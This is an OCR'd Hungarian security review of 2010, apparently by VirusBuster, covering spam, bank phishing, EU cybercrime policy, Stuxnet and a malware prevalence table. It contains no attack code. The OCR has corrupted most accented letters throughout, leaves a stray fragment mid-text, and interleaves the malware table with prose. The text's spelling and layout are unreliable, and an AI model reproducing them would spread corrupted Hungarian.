kéretlen gyogyszerreklamok részesedését a levélszemétbdl. A hazai cég azt tapasztalta, hogy 5-10
szazalék koriili a porndt ajanld lizenetek aranya, a fennmarad6 par szdzalékon pedig online
egyetemek, fOiskoldk, kardra-masolatok, kaszinok, torrentek osztoznak. (Az utdbbi nagyméretii
allomanyok, leginkabb videok letdltését segité rendszer). Magyar spambdl viszont - 90 szézalék
koriili részesedéssel - a torrent téma az abszolut rekorder. Emellett kisvallalkozdsok probalnak
tizenetek szordsaval piacot szerezni, kihasznalva, hogy ezt - amig nem sértik a versenyszabalyokat -
semmi sem szankciondlja.

"A csalard levelek kozott sok szol allitolagos nyereményekrél. Ujabban mar a Coca-Cola vagy a
Shell is "sorsol ki" e-mail cimeket. Ujdonsag volt tavaly az online jatékok jelszavait megszerezni
probald adathaldszat. Ugyanakkor ugy tlinik, hogy a banki adathaldszat némileg visszaszorult.
Miivel6i talan az Gjabb nagy akciodkra késziilnek, de az is lehet, hogy az dvatosabb és tapasztaltabb
felhaszndlok mar nem ddlnek be olyan konnyen - nyilatkozott Székely Ddniel, a VirusBuster
termékmenedzsment csoportjdnak vezetdje. - Elég sok viszont a trojai spam, vagyis az olyan ilizenet,
amely kartékony szoftvert probdl a cimzett gépére csempészni. A trojai programot altaldban
csatolmany tartalmazza, tomoritve vagy szovegnek (dokumentumnak) dlcdzva, de néha csak link
mutat ra.

Szerencsénk, hogy a szamitogépes blindzok, akik eddig hazadnkban probalkoztak - ritka kivételtdl
eltekintve - nem tudtak magyarul, a forditogépek pedig (egyeldre) annyira torik a magyart, hogy
rogton szemet szar az idegenség mondjuk egy banki adatok utédn tudakozo6do levél esetében.

"Es végiil is mit szamit egy kis spam? - mondjak sokan. - Legfeljebb tordljiik." Nos, mi sem
bizonyitja jobban az efféle okoskodas veszélyét, mint Szappanos Gdbornak, a VirusBuster
viruslabor-vezetdjének egy nemrég megjelent cikke. A szakember egy, a tavaly nyari labdarigo
vilagbajnoksagot meglovagold spamkampanyrol kozolt részletes elemzést a Virus Bulletin cimil
rangos nemzetkozi szakfolyoiratban.
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Kimutatta: egy tlizenet, amely a felszinen, a laikus felhasznald szamara egyszeri levélszemétnek
tlint, valojaban a hirhedt Bredolab kartevét is terjesztette, mégpedig a még ennél is elhiresiiltebb
Gumblar terjeszté-architektira bevetésével.

Es hanyféle spam éri el a magyar felhasznalokat is nap, mint nap! Szeptember végén példaul
sajtokozleményben figyelmeztette a felhasznalokat a VirusBuster: valdsdgos spamkitorés zudult
hazéankra. Otezer eurds fizetés és jutalék részmunkaidds otthoni munkaért - ezt igérte egy angol
nyelvii, tomegesen terjesztett lizenet.

"Aki valaszolt egy ilyen levélre, semmit sem nyerhetett, de nagyon is sokat veszithetett -
hangsulyozta Székely Daniel. - Mert mi is a spammerek célja? Eldszor is arrol akarnak
meggy0zddni, 1éteznek-e az e-mail cimek, amelyeket megszoértak. Ha valaszolunk, megerdsitjiik
cimiink helyességét, s az felkeriil a szamitégépes blindzok validalt cimlistajara. Egy ilyen lista
komoly értéket képvisel a feketepiacon, s a rajta 1év0 cimzettek sok-sok kéretlen levélre
szamithatnak. Aki pedig gyanutlanul elkiildi a CV-jét az &llitolagos munkaajanlatra, annak az
adataival aztan sokféleképpen ¢€lhetnek vissza a biin6zok."

Adathalaszok

Tempodsan dolgoznak az adathaldszok is - és munkalkodasuk Magyarorszagot sem kiméli. Tavaly
januarban egy hét leforgdsa alatt kétszer kényszeriilt arra a CIB Bank, hogy tigyfeleit ilyen
tamadasra figyelmeztesse. Még szerencse, hogy - bar a CIB honlapjat igazan élethiien sikertlt
leutdnozniuk - magyarul nem tudtak a blinoz8k. Igy csalinak szant, amde hibaktol hemzsegd,
nyilvanvaléan gépi forditassal késziilt e-mailjiiknek - melybdl a VirusBuster munkatéarsaihoz is
jutott - remélhetdleg senki nem {ilt fel.

Té4jékoztatoiban a CIB hangstlyozta: "az e-maileket véletlenszertien kiildik el nagy mennyiségben
interneten megtalalhatdé e-mail cimekre, tehat nem a CIB Bank iigyfél-adatbazisdban talalhato e-
mail cimekhez fértek hozza". Hozzatették: a bank semmilyen esetben nem kéri sem e-mailben, sem
SMS-ben az {igyfelei azonositéit és nem is szolitja fel oket ezek megadasara vagy
megvaltoztatisara.

A tavalyi év folyaman egy honap leforgasa alatt kétszer vették célba az adathalaszok az OTP Bank
tigyfeleit. "Az angol nyelvi, 'otpbank.hu account notification' [=ligyfélfiok értesités] targyua, virust
tartalmazo levelet az OTP nevét felhasznalva kiildték el tobb szaz postafiokba. Felhivjuk tigyfeleink
figyelmét, hogy semmilyen mddon ne reagaljanak a szovegre, és kérjik, a leveleket toroljék" -
olvashattuk a bank honlapjan. Az OTP mindkét esetben hangstlyozta: soha nem kért €s nem kér e-
mailben tligyféladatokat, s megtették a sziikséges biztonsagi intézkedéseket és jogi 1épéseket.

"Nem célzottan az OTP elleni tamadasokrol volt szo - flizte a hirhez Szappanos Gabor, a
VirusBuster viruslaboratériuméanak vezetdje. - Siriin észleltiink olyan, trdjait teritd iizeneteket,
amelyekbe az "account notification" kifejezés elé a cimzett domain-nevét szurtak be a biinozok. igy
lattunk sok olyan virusszor6 levelet is, amelynek targyaban a virusbuster.hu domain szerepelt."

Ugyancsak egy honapon beliil kétszer probalkoztak a biindzoék az MKB Banknal. "Ismeretlen csalok
elektronikus levelet kiildtek az MKB Bank nevében. Ennek segitségével egy hamis, az MKB
NetBANKar oldalara hasonlitdé weblapra irdnyitjdk a hivatkozast megnyitdkat, és ezzel a
NetBANKar (internet banking) azonositdikat probaljak megszerezni" - figyelmeztette a pénzintézet
a honlapjara latogatokat. Ugyanakkor a kdzlemény mindjart meg is nyugtatta az tigyfeleket: a bank
online szolgaltatasahoz bevezetett kotelezd SMS aldird jelszo elejét veszi a csalard tranzakcioknak.
Senki ne kattintson a levélben szerepld linkre, ne adja meg azonositoit - intették a felhasznalokat,
hozzatéve, hogy ha valaki ezt mégis megtette, haladéktalanul forduljon a bankhoz. Mas
pénzintézetekhez hasonléan az MKB sem kér soha {ligyfeleitdl szolgaltatdsaival kapcsolatban
telefonon vagy e-mailben bizalmas, személyes, illetve azonosité adatokat (példaul jelszot, PIN
kodot).
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Aprilis kozepén kicsit mas jellegii, de szintén bankok nevével visszaéld adathalasz iizenethullamot
¢észleltek a VirusBuster szakértdi. Az angol nyelvii kéretlen levelek azzal riogattdk a cimzettet, hogy
online banki felhasznaléi fiokjuk lejar. Aki rékattintott az e-mailben megadott linkre, s a megnyild
csalard oldalon megadta banki azonositoit, az bizony rosszul jart...

...es pandurok

Mindezek fényében nem csoda, hogy a legmagasabb szinteken is hangot adtak az adatvédelem
fontossadganak. Viviane Reding, az unié igazsagiligyi biztosa az EU adatvédelmi szabalyainak
atdolgozasat szorgalmazta. Szerinte a szabalyozast Osszhangba kell hozni az internetezdk
igényeivel, akiknek nagyobb beleszolast kell adni személyes adataik kezelésébe. Jollehet - mint
mondta - a személyes adatok védelmével kapcsolatos unids eldirasok eddig "kidlltak az i1dd
probajat", a kozosségi portalok, az internetes mobilok és a célzott online reklam elterjedése miatt
"sulypontvaltasra" van sziikség.

Tobb eszkozt kell a szorfosok kezébe adni, hogy eldonthessék, mit tesznek ki a netre, s lehetdvé kell
tenni, hogy kedviik szerint javithassak, visszavonhassak vagy torolhessék ezt az informaciodt -
jelentette ki az EU-biztos. Reding harmonizalni kivanja az unios orszagok e-kereskedelmi jogat, el
akarja tordlni a kereskedelem utjaban all6 akadalyokat, s azt szeretné, hogy a fogyasztok jobban
megbizzanak az online adasvételben.

Hasonl6 hangot tett meg Peter Hustinx, az EU adatvédelmi feliigyeldje, aki hangsulyozta: a
torvényeknek Osszhangban kell lenniiik a fejlodé informacids tarsadalommal. A mind nagyobb
mennyiségli személyi adattal csak egy megreformalt adatvédelmi rendszer képes megbirkdzni -
jelentette ki. Csak egy 0j rendszerrel lehet garantalni, hogy a polgarokat ne érje hatrany a torvények
elavuldsa miatt. "Az adatvédelem nem valami elvont dolog. Mindannyiunk életére kihat. Az erds
adatvédelem sok mas teriilet fontos tamasza: sziikség van ra a gazdasadgban éppugy, mint a biztonsag
megteremtésé¢hez, a korményzat elszdmoltathatosdga érdekében vagy az informacids tarsadalomba
vetett bizalom megalapozasahoz" - nyilatkozott az unioés fotisztviselo.

Hustinx siirgette a tagallamok adatvédelmi jogszabalyainak tovabbi harmonizéaciojat. Sikra szallt
azért, hogy a rendszereket eleve az adatvédelmi kovetelmények szem el6tt tartdsaval tervezzék, s
hogy legyen kotelezd tajékoztatast adni az adatbetorésekrdl. Ugy vélte: technolégia-semlegesen kell
megkozeliteni a problémat, s a célok eléréséhez a megfeleld renddrségi €s igazsagiigyi szervek
szorosabb egyiittmiikddésére van sziikség.

Marcius végén az Europa Tanacs is a szamitdégépes bilindzésrdl tartott konferenciat - immar
otodizben. A strasbourgi felszolalok a nemzetkozi egylittmiikddés javitasat szorgalmaztak, hogy
jobban ki lehessen aknazni a rendelkezésre allo eszkdzoket, s az orszagok atvehessék a masutt jol
bevalt modszereket, kezdeményezéseket. Ugyanilyen fontos a biniildozés és az ipar
egylittmiikodésének bovitése - hangstulyoztak.

Tamogatasukrdl biztositottdk a delegatusok az ICANN javaslatat, miszerint szigoritani kellene a
domainregisztracids szabalyokat. Mint elhangzott, a rendérségnek a szdmitogépes biindzés elleni
kiizdelemben fel kellene tudnia hasznalni a WHOIS adatbazist - persze gy, hogy ne sértse a
regisztralok személyiségi jogait. Tobb ajanlast tett a konferencia a felhd alapu technoldogia
elterjedésével Osszefiiggd biztonsagi és adatvédelmi problémakkal kapcsolatban is.

Rimel az eurdpai konferencidn elhangzottakra, hogy Oroszorszagban megszigoritottdk a domain-
regisztraciot. Tavaly aprilis 1-jétdl csak azonositd okmanyok felmutatasaval lehet .ru kiterjesztésii
domain-nevet bejegyeztetni. Az orosz legfelsd szintli domaint kezel¢ koordinacidés kozpontnal
maganszemélyeknek az utleveliiket, vallalkozasoknak pedig a cégkivonatukat kell bemutatniuk.

Par év mulva egyébként meglehet: EU-szerte internetezék millidi kapcsolodhatnak be aktivan a
szamitogépes blin6zés elleni harcba. Rob Wainwright, az Europol igazgatdja - kordbban Nagy-
Britannia szervezett biindzés elleni ligyndkségének egyik vezetdje - kijelentette: a hagai kozponta
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EU-renddrség kiilon koézpont felallitasaval kivanja erdsiteni kiizdelmét a kibergonosztevok ellen.
Mint mondta, az Eurdpai Bizottsdg finanszirozasaval létrehozand6 intézmény a tervek szerint
kozvetleniil timaszkodna magukra az internetezokre is.

Az Europol-nél lefutott mar egy projekt, mely kimondottan arra iranyult, hogy felderitse az oreg
kontinensen miikddd legveszedelmesebb szamitogépes blinozoket. A kdvetkezd 1épés egy internetes
blincselekmények bejelentésére szolgald online rendszer beinditasa lesz.

Eredetileg az elgondolds 2008-bdl, a francia EU-elndkségtél szarmazik. Ha a terv megvalosul,
kordbban példa nélkiili médon "unids szinten egységesen gylijtik majd be az adatokat az egyes
tagorszagokban bejelentett 0sszes vilaghdlos visszaélésrdl". Az Europol elsdsorban a cégek és a
tudomanyos intézmények bevonasara torekszik a teriileten, de a program késdbbi szakaszaban
kozvetleniil az internetezOk széles tomegeire is szamitananak - nyilatkozott az EU-rend6rfénok.

Ez utobbi elképzelés értelmében az a szorfos, aki a neten blincselekmény-gyanus tevékenységre
bukkan, be is jelenthetné - logikusan egy erre a célra felallitott website-on. Hasonlo jelleggel
miikodik immar tiz éve az Egyesiilt Allamokban az Internetes Biin6zési Panaszbejelentd Kozpont
(Internet Crime Complaint Center, IC3). Mig azonban az amerikai rendszerben csak a karosultak
tehetnek panaszt, az eurdpai program nem szabna ilyen korlatozast.

A "kritikus tomegre" €pitd ("crowd sourcing") terv még embriondlis fazisban van. Minden azon
mulik, sikeriil-e elSteremteni a pénziigyi fedezetet az unids kiberblingzés-ellenes kozpont
felallitasara. Ha minden jol megy, erre 2014-ben kertilhetne sor.

Nem maradt adés kezdeményezésekkel az ipar sem. Internet Fraud Alert (Internetes Csaldsriasztas)
néven a Microsoft és a hozzd csatlakozo, buniildozést tdmogaté amerikai szakmai ¢és
fogyasztovédelmi szervezetek, elektronikus tranzakciokat lebonyolitd cégek olyan rendszert
inditottak be, amelynek keretében a kutatok biztonsagosan és hatékonyan bejelenthetik, ha lopott
online belépdkre - online szolgaltatdsok igénybevételéhez sziikséges felhasznalonevekre,
jelszavakra - bukkannak. A Microsoft mellett a résztvevOk abécérendben: Accuity, American
Bankers Association (Amerikai Bankérszovetség), APWG, Citizens Bank, eBay, Federal Trade
Commission (FTC, kb. fogyasztévédelmi feliigyelet), National Consumers League (Orszagos
Fogyasztoi Liga), PayPal.

cres

célra fejlesztette ki. A mechanizmusnak koszonhetden a biindzok kezére keriilt azonositok azonnal
eljutnak az érintett céghez - pénzintézethez vagy mas szervezethez, akik aztan riadéztathatjak
aldozatul esett tigyfeleiket.

Kiberhaboru?

Ami kordbban jorészt csak elméleti aggaly volt, az a 2010-es esztenddére valds, a mindennapokban
kezelendd veszélyforrassd valt: csak pénz és technikai felkésziiltség kérdése, hogy egy orszag
informatikai csapast tudjon mérni egy masikra. Az EU és a NATO egyarant jelezte: hatékonyabban
szeretne tudni védekezni az ilyen tdmadasok ellen.

Anders Fogh Rasmussen NATO-fotitkar azt javasolta: a katonai szovetség kozos fellépését
megkoveteld tdmadasok korébe vegyék fel az informatikai tdmadéasokat is. Az Europai Bizottsag
pedig a védelem javitasa érdekében a jovoben fokozottabban tamaszkodna az Eurdpai Halozat- €s
Informacidbiztonsagi Ugynokségre (European Network and Information Security Agency, ENISA).
Mint Neelie Kroes digitalis fejlesztésért felelés biztos kozolte, 2017-ig meghosszabbitandk az
ENISA jogositvanyat, s Kkiterjesztenék az iligyndkség hataskorét, hogy '"rugalmasabban ¢&s
hatékonyabban tudjon reagélni a névekvo kiberfenyegetésre". A megtjulé ENISA felkésziiltebben
babaskodhat majd a tervezett eurdpai Szamitastechnikai Siirgdsségi Reagaldé Egység (Computer
Emergency Response Team, CERT) és egy pan-europai I'T-biztonsagi riasztd rendszer felallitasanal.
Feladata lenne az is, hogy népszerlisitse, elterjessze a bevalt kockazatkezelési és biztonsagi
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gyakorlatot, illetve szabvanyokat. Emellett az ligynokség gondoskodnia kellene az IT-biztonsagi
szakemberek és a blinlild6z6 szervek allandé kommunikaciojardl is.

Szamitdgépes tdmadas és kémkedés? Az atomtamadas esetére kidolgozott hideghaborus doktrindk
szerint kell valaszolni rajuk - vélekedett Michael Chertoff korabbi amerikai belbiztonsagi miniszter.
A politikus a londoni RSA konferencia hallgatosaga eldtt kifejtette: napjainkban szaz kortilire tehetd
azoknak az orszagoknak a szdma, amelyek képesek kiberkémkedésre vagy -tdmadasra. Mindkettd
esetében hasonld eszkdzokkel dolgoznak, s az eredmény is hasonld lehet: pénziigyi adatoktol
kezdve emberéletig sok minden foroghat veszélyben. Ha példaul 1égiiranyitd rendszert tdmadnak
meg - jollehet erre szerencsére még nem volt példa - az bizony halalos aldozatokat kovetelhet.

"Nem mondom, hogy virtudlis tdmadasra valosdgos tdmadassal kell valaszolni. Azt azonban igen,
hogy fontos lenne lefektetni [az elveket]: milyen esetben mi szdmit megfeleld valasznak" - jelentette
ki Chertoff. Elismerte, hogy az informatikai tamadasok wvalodi forrasat nehéz felderiteni,
ugyanakkor hangoztatta: akarki keriti is hatalméba az aldozat rendszereit, megengedhetd vele
szemben az ellencsapas. Ugy vélte: ha az elkdvetdknek ellencsapassal kell szamolniuk, akkor a
gyenge internet-higiénidju orszagok jobban igyekeznek majd rendet tenni a hazuk tajan.

Akarmi is az esetleges ellencsapas, a legfontosabb a védelem, arra pedig fel kell késziilni. Ennek
szellemében elsd izben gyakoroltdk az Oreg kontinens &llamai november elején: hogyan
védekezzenek, hogyan miikddjenek egyiitt egy, az internetet lebénitd hackertamadas esetén.

A "Cyber Europe 2010" fedénevii mandversorozatot az EU-tagallamok szervezték, az ENISA ¢és az
uni6 Ko6zos Kutatokdzpontja (Joint Research Centre, JRC) tdmogatasaval, 70 eurdpai intézmény
képviseletében tobb mint 150 szakértd részvételével. Huszonkét EU-tagallam harcold félként, nyolc
tovabbi orszdg megfigyeldként vett részt a gyakorlatban. Bekapcsolddott a nem unidtag Izland,
Norvégia és Svajc is. Az Athénban felallitott iranyitd6 kdzpontban mintegy Gtvenen vették fel a
kesztylit a 320-nal tobb szimuldlt timadassal — internetledlldssal, kritikus online szolgaltatdsok
kiesésével — szemben. Eurdpa-szerte tovabbi 80 szakértdé az Athénbol kiadott parancsok
végrehajtasan faradozott. A résztvevd szervezetek kozott taldljuk az orszagok szamitastechnikai
katasztréfavédelmi csapatat (Computer Emergency Response Team, CERT), szakminisztériumait,
feliigyeld hatosdgait. Kulcsfontossagl volt a nemzetkozi egylittmiikddés: csak a kozds, 6sszehangolt
védekezés vezethetett eredményre.

Hazankat a Puskas Tivadar Kozalapitvany altal mitkddtetett Nemzeti Héalozatbiztonsagi Kozpont
(CERT-Hungary) képviselte a gyakorlaton. A magyar szakemberek nyolc kiilféldi partnerrel
tartottdk folyamatosan a kapcsolatot, s sziikség esetén bevontak a hazai hatésdgokat is. Munkajukra
biliszkék lehetlink: Magyarorszag azon résztvevok kozé tartozott, akik dicsérettel végeztek a Cyber
Europe 2010-en.

Persze ez nem jelenti azt, hogy nincs min javitanunk. "Van még Magyarorszagnak (is) bdven
teenddje az informacidbiztonsagi incidenskezelési, a kritikus informatikai infrastrukturak védelmi -
kormanyzati szinti - koordinacids eljarasi szabalyainak kidolgozdsaban; bizonyos nemzeti
informaciobiztonsagi funkciok kialakitdsaban" - kommentalta az eredményt kozleményében a
CERT-Hungary.

"Mindennapjainkba ezernyi szinten beépiilt a technoldgia, mind tobb téren tamaszkodunk az
internetre. Nem kivétel a kritikus infrastruktura sem, melynek szamos eleme ma mar szintén a
vilaghalé hasznalatara épit. Ha tehat a hozzaférést véletlen esemény vagy szandékos tamadas
meggatolja, annak sulyos kovetkezményei lehetnek. Felkésziiltnek kell lenniink, kidolgozott
forgatokonyvekkel kell rendelkezniink azokra az esetekre, amikor a kritikus infrastruktirat tdmadas
éri" — mutatott rd az 0ttér6 hadgyakorlat fontossagara Szappanos Gabor, a VirusBuster
viruslaboratoriumanak vezetoje.
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Stuxnet

Sok szakértd szerint a tavalyi év valasztovonal az IT-biztonsag torténetében: elsé izben indult
célzott kibertdmadas egy nemzetdllam, illetve annak stratégiai célpontja ellen.

Porondra 1épett a Stuxnet, a vilag elsd, ipari folyamatiranyité szamitogépekre specializalt kartevdje.
Nemigen akadt ennyire Osszetett, kifinomultan tervezett koérokozd a szamitdgépes virusok
torténetében. A 2009 jiniusaban felbukkant Stuxnet-rél aztdn nemsokara elhangzott a szenzaciot
keltd feltételezés: a programot egyetlen konkrét célpont: az irdni urandusitd centrifugakat vezérld
Siemens folyamatirdnyito rendszerek ellen tervezték.

Az irani elndk nyilatkozata igazolni latszik a taldlgatdsokat, miszerint a Stuxnet féreg karokat
okozott a kozel-keleti orszag atomprogramjanak. "Az elektronikus berendezésekre telepitett szoftver
segitségével egyes centrifugainkban korlatozottan bar, de problémat tudtak okozni" - jelentette ki
Mahmud Ahmadinedzsad. "Szakértdink véget vetettek ennek, s [az elkovetdk ezt] még egyszer nem
fogjak tudni megtenni" - tette hozza. A kdzelmultban Meir Dagan, a Moszad visszavonul6 vezetdje
¢s Hillary Clinton amerikai kiiliigyminiszter egymastol fiiggetleniil annak a véleményének adott
hangot, hogy az irani nukledris fejlesztés tobb évvel visszaesett.

Nemrég a New York Times nem kevesebbet allitott, mint hogy Izrael és az Egyesiilt Allamok egyiitt
babaskodott a Stuxnet sziiletésénél. A lap nyomozasa arra utal: a kartevét, amely komolyan
hatravetette az irdni atomprogramot, izraeli és amerikai szakért6k egyiitt fejlesztették ki és
tesztelték.

Allitélag az irdni Natanz urandusitd telepen hasznilt Siemens centrifugavezérld rendszerek
sériilékenységeit az Egyesiilt Allamok energetikai minisztériuméhoz - az amerikai atomfegyverekért
felelds kormanyszervhez - tartozé Idahoi Nemzeti Laboratériumban térképezték fel, még 2008
elején. A német cé€g az amerikai vizsgalatot rutinmiiveletnek nevezte, amely termékeinek
kibertdmadasok elleni védelmét szolgalta.

Egy ¢évvel késébb, 2009 januarjdban a New York Times arrdl irt: Bush elndk titkos programot
hagyott jova a Natanz koriili elektromos és szamitastechnikai rendszerek megrongalasara. A
programot aztan kormanyzati forrasok szerint Obama elndk felgyorsitotta, s allitolag hasonléan
léptek az izraeliek is.

Izrael régota kereste a modjat, hogyan tehetne keresztbe az irdni nukledris ambicidknak anélkiil,
hogy fizikailag csapast mérne a létesitményekre. A New York Times legutdbbi cikkében az 4llt: a
Stuxnet hatékonysdgat egy, a Negev sivatagban miikdodd titkos izraeli komplexumban tesztelték,
ahol ebbdl a célbdl a natanzihoz megszolalasig hasonlo centrifugasort allitottak tizembe.

"A Stuxnet valddi paradigmavaltas, a kartevék 0 kategéridja, 0j dimenzidja - és nemcsak
Osszetettsége, a mogotte allo kifinomult mérndki munka miatt - jelentette ki Udo Helmbrecht, az
ENISA vezérigazgatdja. - Afféle elsd csapasnak tekinthetjiik, az egyik elsd jol szervezett és
elokészitett tamadasnak, amelyet jelentds ipari célpontok ellen intéztek. Ennek komoly kihatasa van
arra, hogyan kell védeniink egy orszag kritikus informacios infrastruktarajat a jovoben. ... Most,
hogy a Stuxnet-ben alkalmazott elvek nyilvanossdgra keriiltek, tovabbi hasonld tdmadasokra
szamithatunk. Valamennyi, biztonsdgban ¢érintett fél szoros egyiittmikodésére, jobb és
Osszehangoltabb stratégiak kidolgozasara van tehat sziikség."

Onmagaban  egyetlen EU-tagillam, hardver- vagy szoftvergyirtd, szamitistechnikai
katasztrofavédelmi csapat (Computer Emergency Response Team, CERT) vagy blniild6zé szerv
sem képes egy ilyen bonyolult timadas kivédésére - hangsulyozza az ENISA koézleménye. Ennek
megfeleléen az ligynokség idén tamogatast nyljt az ipari folyamatiranyitd rendszerek védelmét
szolgald elvek, eljarasok kimunkalasahoz, s elemezni fogja, milyen mértékben fiiggenek az egyes
kritikus szektorok az informdacios és kommunikacids technologiaktol.
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"Kiemelkedo'" kartevok

Héaromszor annyi kartevot €szleltek tavaly, mint 2009-ben - k6zolték a SonicWall kutatéi. Milyen
kartevok, illetve online fenyegetések voltak a legelterjedtebbek 2010-ben? A SonicWall elemzése
szerint a PDF-rések kiaknazasa és a Java alapu tamadéas volt a legjellemzdbb. A fenyegetések
toplistajan ott taldljuk még a Conficker férget, a Zeus trdjait, a hamis antivirus programokat,
valamint az olyan webes tdmado készleteket, mint a Gumbla és a Phoenix. Ed Cohen, a SonicWall
e-mail biztonsagi elndkhelyettese egyébként a mobil kartevék szdméanak novekedésére szamit,
miutan tobb demonstraciot latott a témaban, egyebek kézott az iPhone-ra is.

Igazolni latszanak Cohen eldrejelzését egy brit mobilbiztonsagi cég, az AdaptiveMobile kutatésai is.
A cég szerint a kartevOk szdma a kiilonb6z6 zsebtelefon-platformokon egyiittvéve egy év alatt
harmadaval nétt.

Legjobban a Google Android operacios rendszert tdmado kéarokozok szaporodtak meg: négyszer
annyian vannak, mint egy esztenddvel korabban - deriil ki most kozzétett adataibol. Ugyanakkor a
kutatok hozzateszik: az Androidot abszolut szamban még mindig kevesebben tdmadjak, mint a
régebbi platformokat. A kiberblinz6k korében a Java-alkalmazasokat futtatd késziilékek
bizonyultak a masodik legnépszeriibb célpontnak: 45 szizalékkal mértek tobb ide szant kartevot,
mint tavaly. A WinCE-s virusok szdma 7 sz4zalékkal nétt, az iPhone és a Symbian platform ellen
tervezett rosszindulati programok viszont megfogyatkoztak - az utébbiak 11 szazalékkal.

"Minthogy az eldrejelzések szerint 2012-ben Eurdpdban a mobiloknak mar 37, az Egyesiilt
Allamokban 44 szazaléka okostelefon lesz, arra szamitunk, hogy jovére is exponenciélis iitemben
n6 az elleniik irdnyulé fenyegetések szdma. Ami még ennél is fontosabb: egyre kifinomultabb,
Osszetettebb tdmadasokra kell felkésziilnlink" - allt az AdaptiveMobile kézleményében.

De térjlink vissza a szamitogépes fertézésekhez! "Egyedi szint adott informatikai biztonsagi
szempontbol (is) a 2010-es esztendOnek a juniusi labdarugd vildgbajnoksag - nyilatkozott a
VirusBuster kartevé-észleléseirdl Szappanos Gdabor, a cég viruslaboratoriuméanak vezetdje. -
Szamitottunk ra, hogy a szamitdgépes blindzdk kihasznaljadk majd a VB iranti felflitott érdeklddest.
fgy is tortént. Valosaggal aradtak az olyan iizenetek, amelyek egy allitolagos FIFA-hirt hasznaltak
csalétkiil. Ezzel igyekeztek ravenni a cimzettet: nyissa ki a levél csatolmanyat. Persze a mellekelt
kiildeményben szinte mindig valamilyen kértevo lapult."

Miért nétt tavaly Windows gépek fenyegetettsége? Erre a kérdésre keresett valaszt adatait elemezve
a Secunia. Nos, a cég statisztikai azt mutattdk, hogy az atlagos Windows PC-n a Microsoft
programoknak minddssze nem egészen 2 szazaléka sériilékeny, mikozben a tobbi szoftverhaz
termékeinek 8-12 szdzaléka sebezhetd. A tavalyi évben a Windows munkadllomasokon a Secunia
altal kimutatott Osszes sériilékenység 69 szazaléka nem-Microsoft alkalmazasokban volt. Az
operacios rendszer a biztonsagi hibak 13 szazalékaért volt felelds, az egyéb Microsoft programok
pedig a rések 18 szazalékat okoztak. Mas szoval a Windows kornyezet biztonsagi problémainak
tulnyomo része az Adobe, az Apple és mas cégek alkalmazédsainak foltozatlan hibdira, az 6
biztonsagi frissitéseik elmulasztasara vezethetd vissza. Mint a Secunia jelentésébdl kidertiil, az
atlagos munkaéllomast fenyegetd sériilékenységek szama 2009-r6l 2010-re 71 szazalékkal nétt...

Végezetiil vessiink egy pillantast azokra a kartevokre, amelyek az elmult évben a legtobb
bosszisagot okoztak a magyar internetezOknek! A VirusBuster folyamatosan nyilvantartast vezet az
észlelt karokozokrol.
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A cég szakemberei kiértékelik a cég hazon beliili, Kartevé Részesedés
illetve  kiilonbozd  helyeken  miikodtetett 1] Trojan.Oficla.BNE 11,50%
levelezésvédd rendszereinek "fogasat", figyelik a 2| JS.Redirector.J 10,03%
Freemail-es levelek altal hordozott virusokat. 3| Trojan.Agent.YHIN 9,43%
4 Backdoor.Nepoe.IF 6,06%
Az  adatokb6l honaprél  honapra  toplistat 5 Trojan.Oficla.BOH 5,32%
készitenek, s ezek a havi statisztikdk a cég 6/ TrojanSpy.Zbot. AFON 3,99%
honlapjan 1s megjelennek 7| JS.Redirector.K 3,97%
(http://www.virusbuster.hu/labor/virus-toplista). 8| Backdoor.Bredolab.DJI 3,49%
. , , .. , 9| Backdoor.IRCBot. AAWX 3,11%
A mlnta"forrasokgt sulyozottan ossz’esnvre a 2’()10-35 10 Trojan.Bredolab.CSQ 2.96%
esztendore a jobb oldalon lathaté kartevo- Egyéb: 40.14%

gyakorisagi lista allt el6:

A VirusBuster Kft.-rol

Aki a VirusBustert (www.virusbuster.hu) valasztja {izleti partneréiil, tobb mint hisz év szakmai
tapasztalatara tamaszkodhat. A nemzetkézi hirnevii, am kizarélag magyar tulajdonu, kiilfoldi
tokebevonas nélkiill miikodd cég a szamitdgépes virus-, spamvédelmi és egyéb biztonsagtechnikai
megoldasok uttordi koze tartozik. Az évek soran a VirusBuster partneri viszonyt épitett ki az dgazat
szamos vallalataval. Viruskeresé technologiajat tobb vezetd cég, koztilkk a Microsoft is beépiti
termékeibe. A VirusBuster szoftverei szdmos nemzetkozi dijat, illetve tanusitvanyt nyertek, s ma
mar harmincndl tobb orszagban kaphatok.

Magyarorszagon is tobb nagy szervezet alapozta informatikai védelmét VirusBuster megoldéasokra -
koztiik a Debreceni Egyetem, az E6tvos Lorand Tudomanyegyetem, az Invitel, a Magyar Fejlesztési
Bank vagy a Magyar Televizio.

Atgondolt szoftver- és szolgaltatasfejlesztést kvetéen 2010-ben a VirusBuster Gjabb piaci szegmens
felé nyitott. Azt a mindséget, amely a nagyvallalatoknal bevalt, s amelyet gyartofiiggetlen tesztel6k
is sokszorosan tanusitottak, elérhetové tette a cég azoknak az egyéni felhasznaldknak a szamara is,
akik nem az olcs6 tomegterméket, hanem a prémium szinvonalat, a valddi biztonsagot keresik.

A VirusBuster vilagszerte elismert szakemberei rendszeres eldadoi hazai €és nemzetkozi
konferencidknak. Bozso Julianna, a cég ligyvezetd igazgatdja az Informatikai Vallalkozdsok
Szovetségétdl (az IVSZ-t61) 2008-ban elnyerte az "Ev Informatikai Cégvezetdje" dijat. A kft. 2003-
ban "Ev innovativ iizleti megoldasa", 2004-ben pedig "IT Reménység" dijban részesiilt. Két izben is
megkapta a cég az IVSZ-tél a "Mindsitett Szoftver Exportdr" cimet és 2005-ben megszerezte az
MSZ EN ISO 9001:2001 szabvany szerinti mindségiranyitasi tanusitvanyt. A vallalat webaruhaza
2009-ben kiérdemelte a "Fair Business" mindsitést, s ugyanebben az évben a VirusBuster Uzleti
Etikai Dijat kapott.
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